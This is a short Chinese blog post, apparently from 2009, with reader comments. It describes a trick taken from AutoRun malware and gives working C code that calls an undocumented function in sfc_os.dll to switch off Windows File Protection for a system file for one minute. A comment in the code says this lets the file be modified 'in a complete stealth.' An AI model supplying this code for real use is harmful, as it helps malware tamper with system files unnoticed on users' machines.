和谐掉系统的文件保护一分钟

从某AutoRun中逆出来的,利用微软未公布的API,sfc_os.dll中的ordinal为5函数,关闭文件保护一分钟。在网上查了一下资料,C代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//c code demo
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
 
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
 
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
 
//Now we can modify the system file in a complete stealth.
}

网友评论(共4条评论)

  1. Koma

     2009年12月24日 11:47 am

    前段时间VS、OS都挂掉了,就差人没挂掉…


  2. solu

     2009年12月11日 21:06 pm

    ^ ^ 值得收藏!


  3. lonkil

     2009年12月11日 10:54 am

    to Koma:
    甲流?


  4. Koma

     2009年12月10日 21:32 pm

    内容很好很强大!PS:高烧几天没力气摸电脑,花了几钱大洋给XX药店,郁闷 !


发表评论





XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>